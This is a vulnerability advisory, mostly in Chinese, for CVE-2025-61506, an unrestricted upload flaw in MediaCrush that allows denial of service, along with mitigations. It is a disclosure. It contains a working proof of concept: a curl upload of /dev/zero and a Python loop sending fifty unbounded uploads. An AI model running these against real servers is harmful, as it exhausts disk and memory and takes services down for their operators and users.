
Unrestricted File Upload DoS Vulnerability discovered in MediaCrush thru 1.0.1(CVE-2025-61506)
发现 MediaCrush 直至 1.0.1 版本存在一个漏洞,允许远程未认证攻击者向 /upload 端点上传任意大小文件。 漏洞:无限制文件上传 (CWE-434) CVE ID:CVE-2025-61506 发现:9月18日 分配:10月9日 受影响组件:mediacrush/upload.py, app.py (Flask 上传端点) 受影响版本:所有版本(最后提交 8f4b2a3f,约2014年) 影响:拒绝服务 (DoS) 严重性:CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
MediaCrush 的 /upload 端点 (mediacrush/upload.py) 允许未认证攻击者上传任意大文件,且没有大小限制、MIME 类型验证或速率限制。这会导致磁盘存储(默认 ./storage)耗尽、Redis 和 Celery worker 过载,进而使应用程序崩溃,造成拒绝服务。由于基于 Flask 的上传处理程序缺少输入验证,该漏洞影响所有 MediaCrush 实例(本地或网络部署)。由于项目已停止维护(最后更新于2014年),暂无修复方案。
设置一个本地 MediaCrush 实例(根据 README:Python 2.7、Flask 0.10.1、Redis、Celery)。
运行应用 (python app.py) 和 Celery worker (celery worker -A mediacrush -Q celery,priority)。
执行以下命令上传一个大文件:
curl -F "file=@/dev/zero" http://localhost:5000/upload
或者使用 Python 脚本进行多次上传:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
结果:磁盘存储(例如 /tmp/storage)被填满,Celery workers 因 OOM 崩溃,新上传失败(HTTP 500/413)。Redis 内存使用飙升。
拒绝服务:耗尽磁盘、导致应用崩溃、阻止新上传或媒体服务。
存储滥用:攻击者可将 MediaCrush 用作免费无限存储空间,存放恶意文件(例如盗版内容)。
云成本:如果 storage_folder 基于云(例如 AWS S3),将产生大量费用。
影响所有自行部署的 MediaCrush 版本(至 1.0.1)。
使用 Flask 的 MAX_CONTENT_LENGTH 配置和 Web 服务器(例如 nginx)的 client_max_body_size 指令强制服务器端上传大小限制。实施适当的文件验证和速率限制以防止资源耗尽。
由于项目已停止维护,用户应 fork 并修补,或避免部署。
MediaCrush 仓库:https://github.com/MediaCrush/MediaCrush
CWE-434:https://cwe.mitre.org/data/definitions/434.html
在开源项目的漏洞赏金审计中发现。
未找到 MediaCrush 的先前 CVE(已搜索 NVD、GitHub 安全公告)。
项目已停止维护;预计不会收到厂商回应([email protected],IRC #mediacrush 已不活跃)。